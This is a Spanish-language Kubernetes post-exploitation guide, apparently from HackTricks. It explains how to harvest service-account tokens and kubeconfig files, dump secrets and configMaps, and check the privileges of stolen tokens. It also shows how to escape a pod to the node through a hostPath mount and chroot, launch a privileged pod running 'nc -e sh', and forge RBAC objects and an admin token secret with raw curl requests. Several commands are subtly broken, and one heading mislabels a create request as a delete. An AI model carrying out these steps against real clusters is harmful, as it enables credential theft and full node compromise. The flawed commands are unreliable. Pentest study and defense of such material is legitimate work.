# Kubernetes Enumeration {{#include ../../banners/hacktricks-training.md}} ## Kubernetes Tokens Si has comprometido acceso a una máquina, el usuario puede tener acceso a alguna plataforma Kubernetes. El token suele estar ubicado en un archivo señalado por la **env var `KUBECONFIG`** o **dentro de `~/.kube`**. En esta carpeta puedes encontrar archivos de config con **tokens y configurations para conectarse al API server**. En esta carpeta también puedes encontrar una carpeta de cache con información recuperada previamente. Si has comprometido un pod dentro de un entorno kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el K8 env actual: ### Service Account Tokens Antes de continuar, si no sabes qué es un service en Kubernetes te sugeriría **seguir este link y leer al menos la información sobre la arquitectura de Kubernetes.** Tomado de la [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) de Kubernetes: _“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_ **ServiceAccount** es un objeto gestionado por Kubernetes y usado para proporcionar una identity a los procesos que se ejecutan en un pod.\ Cada service account tiene un secret relacionado y este secret contiene un bearer token. Esto es un JSON Web Token (JWT), un método para representar claims de forma segura entre dos partes. Normalmente **una** de las directorios: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` contiene los archivos: - **ca.crt**: Es el certificado ca para comprobar las comunicaciones de kubernetes - **namespace**: Indica el namespace actual - **token**: Contiene el **service token** del pod actual. Ahora que tienes el token, puedes encontrar el API server dentro de la env var **`KUBECONFIG`**. Para más info ejecuta `(env | set) | grep -i "kuber|kube`**`"`** El service account token está siendo firmado por la key que reside en el archivo **sa.key** y validado por **sa.pub**. Ubicación por defecto en **Kubernetes**: - /etc/kubernetes/pki Ubicación por defecto en **Minikube**: - /var/lib/localkube/certs ### Hot Pods _**Hot pods are**_ pods que contienen un privileged service account token. Un privileged service account token es un token que tiene permiso para hacer tareas privilegiadas como listar secrets, crear pods, etc. ## RBAC Si no sabes qué es **RBAC**, **lee esta sección**. ## GUI Applications - **k9s**: Una GUI que enumera un clúster kubernetes desde el terminal. Revisa los commands en[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Escribe `:namespace` y selecciona all para luego buscar resources en todos los namespaces. - **k8slens**: Ofrece algunos días de prueba gratis: [https://k8slens.dev/](https://k8slens.dev/) ## Enumeration CheatSheet Para enumerar un entorno K8s necesitas un par de cosas: - Un **valid authentication token**. En la sección anterior vimos dónde buscar un token de usuario y un service account token. - La **address (**_**https://host:port**_**) de la Kubernetes API**. Normalmente se puede encontrar en las environment variables y/o en el archivo de kube config. - **Optional**: El **ca.crt para verificar el API server**. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del API server, pero usando `--insecure-skip-tls-verify` con `kubectl` o `-k` con `curl` no lo necesitarás. Con esos detalles puedes **enumerate kubernetes**. Si la **API** por alguna razón es **accessible** a través de **Internet**, puedes simplemente descargar esa info y enumerate la plataforma desde tu host. Sin embargo, normalmente el **API server está dentro de una red interna**, por lo tanto necesitarás **crear un tunnel** a través de la máquina comprometida para acceder a él desde tu máquina, o puedes **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, o usar **`curl/wget/anything`** para realizar raw HTTP requests al API server. ### Differences between `list` and `get` verbs Con permisos **`get`** puedes acceder a información de assets específicos (_opción `describe` en `kubectl`_) API: ``` GET /apis/apps/v1/namespaces/{namespace}/deployments/{name} ``` Si tienes el permiso **`list`**, se te permite ejecutar solicitudes API para listar un tipo de asset (_opción `get` en `kubectl`_): ```bash #In a namespace GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` Si tienes el permiso **`watch`**, se te permite ejecutar solicitudes API para monitorizar assets: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` Ellos abren una conexión de streaming que te devuelve el manifiesto completo de un Deployment cada vez que cambia (o cuando se crea uno nuevo). > [!CAUTION] > Los siguientes comandos `kubectl` indican solo cómo listar los objetos. Si quieres acceder a los datos necesitas usar `describe` en lugar de `get` ### Using curl Desde dentro de un pod puedes usar varias variables de entorno: ```bash export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS} export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] > Por defecto el pod puede **acceder** al **kube-api server** en el nombre de dominio **`kubernetes.default.svc`** y puedes ver la red kube en **`/etc/resolv.config`** ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el endpoint de kube-api). ### Usando kubectl Teniendo el token y la dirección del API server, usas kubectl o curl para acceder a él como se indica aquí: Por defecto, APISERVER se comunica con el esquema `https://` ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` > si no hay `https://` en la url, puedes obtener un Error como Bad Request. Puedes encontrar una [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). El objetivo de las siguientes secciones es presentar de forma ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso. Para encontrar la solicitud HTTP que `kubectl` envía, puedes usar el parámetro `-v=8` #### MitM kubectl - Proxyfying kubectl ```bash # Launch burp # Set proxy export HTTP_PROXY=http://localhost:8080 export HTTPS_PROXY=http://localhost:8080 # Launch kubectl kubectl get namespace --insecure-skip-tls-verify=true ``` ### Configuración actual {{#tabs }} {{#tab name="Kubectl" }} ```bash kubectl config get-users kubectl config get-contexts kubectl config get-clusters kubectl config current-context # Change namespace kubectl config set-context --current --namespace= ``` {{#endtab }} {{#endtabs }} Si lograste robar algunas credenciales de usuarios, puedes **configurarlas localmente** usando algo como: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ --auth-provider-arg=idp-issuer-url=( issuer url ) \ --auth-provider-arg=client-id=( your client id ) \ --auth-provider-arg=client-secret=( your client secret ) \ --auth-provider-arg=refresh-token=( your refresh token ) \ --auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \ --auth-provider-arg=id-token=( your id_token ) ``` ### Obtener recursos compatibles Con esta información sabrás todos los servicios que puedes listar {{#tabs }} {{#tab name="kubectl" }} ```bash k api-resources --namespaced=true #Resources specific to a namespace k api-resources --namespaced=false #Resources NOT specific to a namespace ``` {{#endtab }} {{#endtabs }} ### Metadatos del objeto que vale la pena revisar Cuando puedas leer un objeto, exporta el YAML o JSON completo en lugar de depender solo de la salida en tabla o de `describe`. El contexto de seguridad más útil suele estar en campos genéricos del objeto que existen en muchos tipos de recursos: ```bash kubectl get pod -n -o yaml kubectl get deploy -n -o json | jq '.metadata, .spec, .status' kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase' ``` - `metadata.uid`, `name`, `namespace`, `apiVersion` y `kind` identifican el objeto exacto y evitan confusión entre objetos con el mismo nombre en diferentes namespaces o grupos API. - `metadata.labels` y los selectors conectan Services, Deployments, ReplicaSets, Pods, NetworkPolicies y automatización. Seguir selectors suele ser la forma más rápida de identificar los Pods backend reales para un Service. - `metadata.annotations` puede filtrar contexto operativo como comportamiento de ingress, ajustes de cloud load balancer, metadatos de GitOps o Helm, excepciones de policy y configuración de service mesh. No deberían contener secrets, pero los clusters reales suelen exponer ahí pistas útiles. - `metadata.ownerReferences` muestra la genealogía del controller. Si un Pod pertenece a un ReplicaSet que pertenece a un Deployment, cambiar o borrar solo el Pod normalmente no soluciona la fuente. - `metadata.finalizers` y `metadata.deletionTimestamp` explican recursos atascados en eliminación y pueden revelar cleanup controllers o trucos de persistence/disruption. - `status`, Events y conditions pueden revelar ubicación de nodo, IPs de pod, image IDs, mensajes de fallo, problemas de scheduling, denegaciones de admission y progreso del controller. Son pistas útiles, pero los audit logs siguen siendo necesarios para probar quién realizó una acción. ### Dynamic Resource Allocation and device evidence Si el cluster usa GPUs, NICs, FPGAs u otro hardware especializado, comprueba si Kubernetes Dynamic Resource Allocation (DRA) está presente. DRA usa objetos `resource.k8s.io` como `DeviceClass`, `ResourceSlice`, `ResourceClaim` y `ResourceClaimTemplate` para describir los dispositivos disponibles y reclamarlos para Pods. Estos objetos pueden revelar qué nodos pueden acceder a hardware valioso, qué driver lo gestiona y qué workload tiene una allocation. ```bash kubectl api-resources --api-group=resource.k8s.io kubectl get deviceclasses.resource.k8s.io 2>/dev/null kubectl get resourceslices.resource.k8s.io 2>/dev/null kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}' kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga' ``` Durante la revisión, restringe las escrituras a los objetos `DeviceClass` y `ResourceSlice` con ámbito de cluster a admins y DRA drivers, y mantiene los derechos de `ResourceClaim` / `ResourceClaimTemplate` limitados a los namespaces que los necesiten. Los permisos del driver para actualizar el status de `ResourceClaim` deben ser explícitos y acotados. En los nodes, la kubelet PodResources API suele exponerse a través de `/var/lib/kubelet/pod-resources/kubelet.sock`; los DaemonSets de monitoring pueden montar ese directorio para inspeccionar dispositivos asignados, así que revisa esos Pods como cualquier otro agente privilegiado del nodo. ### ClusterTrustBundle y confianza de certificados de add-on Los clusters recientes pueden exponer objetos `ClusterTrustBundle` en el grupo de API `certificates.k8s.io`. Son bundles de trust anchor X.509 con ámbito de cluster que los Pods pueden montar mediante projected volumes. Se espera un amplio acceso de lectura, pero el acceso de escritura es sensible porque cambiar roots de confianza puede afectar a webhooks, aggregated APIs, service meshes y applications que consumen material CA distribuido por el cluster. ```bash kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null kubectl get clustertrustbundle -o yaml 2>/dev/null kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle' kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}' ``` Durante la revisión, registra `signerName`, huellas digitales del bundle, identidades de writer, consumers de projected-volume, y cualquier trust-distribution controller como cert-manager trust-manager. Trata los objetos `APIService` con `insecureSkipTLSVerify: true`, valores `caBundle` obsoletos, o permisos amplios para parchear campos de trust de APIService/webhook como findings de certificate-trust en lugar de inventario ordinario de objetos. ### Obtener Privilegios Actuales {{#tabs }} {{#tab name="kubectl" }} ```bash k auth can-i --list #Get privileges in general k auth can-i --list -n custnamespace #Get privileves in custnamespace # Get service account permissions k auth can-i --list --as=system:serviceaccount:: -n ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' \ --data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \ "https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" ``` {{#endtab }} {{#endtabs }} Otra forma de comprobar tus privilegios es usar la herramienta: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* Puedes aprender más sobre **Kubernetes RBAC** en: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} **Una vez que sepas qué privilegios** tienes, consulta la siguiente página para averiguar **si puedes abusar de ellos** para escalar privilegios: {{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}} ### Obtener roles de otros {{#tabs }} {{#tab name="kubectl" }} ```bash k get roles k get clusterroles ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500" kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500" ``` {{#endtab }} {{#endtabs }} ### Obtener namespaces Kubernetes soporta **multiple virtual clusters** respaldados por el mismo physical cluster. Estos virtual clusters se llaman **namespaces**. {{#tabs }} {{#tab name="kubectl" }} ```bash k get namespaces ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/ ``` {{#endtab }} {{#endtabs }} ### Obtener secrets {{#tabs }} {{#tab name="kubectl" }} ```bash k get secrets -o yaml k get secrets -o yaml -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ ``` {{#endtab }} {{#endtabs }} Si puedes leer secrets, puedes usar las siguientes líneas para obtener los privilegios relacionados con cada token: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### Obtener Service Accounts Como se comentó al comienzo de esta página **cuando se ejecuta un pod, normalmente se le asigna un service account**. Por lo tanto, listar los service accounts, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios. {{#tabs }} {{#tab name="kubectl" }} ```bash k get serviceaccounts ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts ``` {{#endtab }} {{#endtabs }} ### Obtener Deployments Los Deployments especifican el estado deseado para cargas de trabajo de aplicaciones sin estado. Crean ReplicaSets, y esos ReplicaSets crean Pods. {{#tabs }} {{#tab name="kubectl" }} ```bash k get deployments k get deployments -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/apps/v1/namespaces//deployments/ ``` {{#endtab }} {{#endtabs }} ### Obtener StatefulSets StatefulSets gestionan Pods que necesitan nombres estables, comportamiento de despliegue ordenado y, a menudo, volúmenes persistentes por réplica. {{#tabs }} {{#tab name="kubectl" }} ```bash k get statefulsets k get statefulsets -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/apps/v1/namespaces//statefulsets/ ``` {{#endtab }} {{#endtabs }} ### Obtener Pods Los Pods son los **containers** reales que se **ejecutan**. {{#tabs }} {{#tab name="kubectl" }} ```bash k get pods k get pods -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//pods/ ``` {{#endtab }} {{#endtabs }} ### Obtener Services Kubernetes **services** se usan para **exponer un service en un puerto e IP específicos** (que actuarán como load balancer para los pods que realmente están ofreciendo el service). Esto es interesante para saber dónde puedes encontrar otros services para intentar atacar. {{#tabs }} {{#tab name="kubectl" }} ```bash k get services k get services -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces//services/ ``` {{#endtab }} {{#endtabs }} ### Obtener nodes Obtener todos los **nodes configurados dentro del cluster**. {{#tabs }} {{#tab name="kubectl" }} ```bash k get nodes ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/nodes/ ``` {{#endtab }} {{#endtabs }} ### Obtener DaemonSets **DaemonSets** aseguran que un **Pod específico se esté ejecutando en todos los nodos seleccionados** del cluster. Si eliminas el DaemonSet, los Pods gestionados por él también se eliminarán. {{#tabs }} {{#tab name="kubectl" }} ```bash k get daemonsets ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/apps/v1/namespaces//daemonsets ``` {{#endtab }} {{#endtabs }} ### Obtener Jobs Los Jobs crean Pods que se ejecutan hasta completarse. Se usan comúnmente para migraciones, backups, tareas por lotes y tareas administrativas puntuales. {{#tabs }} {{#tab name="kubectl" }} ```bash k get jobs k get jobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/batch/v1/namespaces//jobs ``` {{#endtab }} {{#endtabs }} ### Obtener CronJobs CronJobs usan una programación tipo crontab para crear Jobs que lanzan Pods para ejecución de tipo tarea. {{#tabs }} {{#tab name="kubectl" }} ```bash k get cronjobs k get cronjobs -n custnamespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/apis/batch/v1/namespaces//cronjobs ``` {{#endtab }} {{#endtabs }} ### Obtener configMap configMap siempre contiene mucha información y configfile que se proporciona a las apps que se ejecutan en kubernetes. Normalmente puedes encontrar muchas passwords, secrets, tokens que se usan para conectarse y validarse en otros servicios internos/externos. {{#tabs }} {{#tab name="kubectl" }} ```bash k get configmaps # -n namespace ``` {{#endtab }} {{#tab name="API" }} ```bash kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps ``` {{#endtab }} {{#endtabs }} ### Obtener Network Policies / Cilium Network Policies {{#tabs }} {{#tab name="First Tab" }} ```bash k get networkpolicies k get CiliumNetworkPolicies k get CiliumClusterwideNetworkPolicies ``` {{#endtab }} {{#endtabs }} ### Obtener todo / Todo {{#tabs }} {{#tab name="kubectl" }} ```bash k get all ``` {{#endtab }} {{#endtabs }} ### **Obtener todos los recursos gestionados por helm** {{#tabs }} {{#tab name="kubectl" }} ```bash k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' ``` {{#endtab }} {{#endtabs }} ### **Obtener consumos de Pods** {{#tabs }} {{#tab name="kubectl" }} ```bash k top pod --all-namespaces ``` {{#endtab }} {{#endtabs }} ## Interacting with the cluster without using kubectl Viendo que el control plane de Kubernetes expone una API RESTful, puedes crear manualmente solicitudes HTTP y enviarlas con otras herramientas, como **curl** o **wget**. ### Escaping from the pod Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el node. Para hacerlo, necesitas crear un nuevo pod usando un archivo yaml, cambiarte al pod creado y luego hacer chroot al sistema del node. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y paths existentes. ```bash kubectl get pod [-n ] -o yaml ``` > si necesitas crear un pod en el nodo específico, puedes usar el siguiente comando para obtener las labels en el nodo > > `k get nodes --show-labels` > > Comúnmente, kubernetes.io/hostname y node-role.kubernetes.io/master son buenas labels para select. Luego creas tu archivo attack.yaml ```yaml apiVersion: v1 kind: Pod metadata: labels: run: attacker-pod name: attacker-pod namespace: default spec: volumes: - name: host-fs hostPath: path: / containers: - image: ubuntu imagePullPolicy: Always name: attacker-pod command: ["/bin/sh", "-c", "sleep infinity"] volumeMounts: - name: host-fs mountPath: /root restartPolicy: Never # nodeName and nodeSelector enable one of them when you need to create pod on the specific node #nodeName: master #nodeSelector: # kubernetes.io/hostname: master # or using # node-role.kubernetes.io/master: "" ``` [original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba) Después de eso creas el pod ```bash kubectl apply -f attacker.yaml [-n ] ``` Ahora puedes cambiarte al pod creado de la siguiente manera ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` Y finalmente haces chroot en el sistema del nodo ```bash chroot /root /bin/bash ``` Información obtenida de: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) ### Creating a privileged pod El archivo yaml correspondiente es el siguiente: ```yaml apiVersion: v1 kind: Pod metadata: name: everything-allowed-exec-pod labels: app: pentest spec: hostNetwork: true hostPID: true hostIPC: true containers: - name: everything-allowed-pod image: alpine securityContext: privileged: true volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "nc -e sh" ] #nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name volumes: - name: noderoot hostPath: path: / ``` Crea el pod con curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 478' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Delete a pod Borra un pod con curl: ```bash CONTROL_PLANE_HOST="" TOKEN="" POD_NAME="everything-allowed-exec-pod" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" ``` ### Crear una Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Length: 109' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Eliminar un Service Account ```bash CONTROL_PLANE_HOST="" TOKEN="" SA_NAME="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" ``` ### Crear un Role ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 203' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Eliminar un Role ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" ``` ### Crear un Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 816' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Eliminar un Role Binding ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" ROLE_BINDING_NAME="" curl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" ``` ### Eliminar un Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" curl --path-as-is -i -s -k -X $'POST' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Accept: application/json' \ -H $'Content-Type: application/json' \ -H $'Content-Length: 219' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" ``` ### Eliminar un Secret ```bash CONTROL_PLANE_HOST="" TOKEN="" NAMESPACE="default" SECRET_NAME="" ccurl --path-as-is -i -s -k -X $'DELETE' \ -H "Host: $CONTROL_PLANE_HOST" \ -H "Authorization: Bearer $TOKEN" \ -H $'Content-Type: application/json' \ -H $'Accept: application/json' \ -H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ -H $'Content-Length: 35' \ -H $'Accept-Encoding: gzip, deflate, br' \ --data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ "https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" ``` ## Referencias {{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}} {{#include ../../banners/hacktricks-training.md}}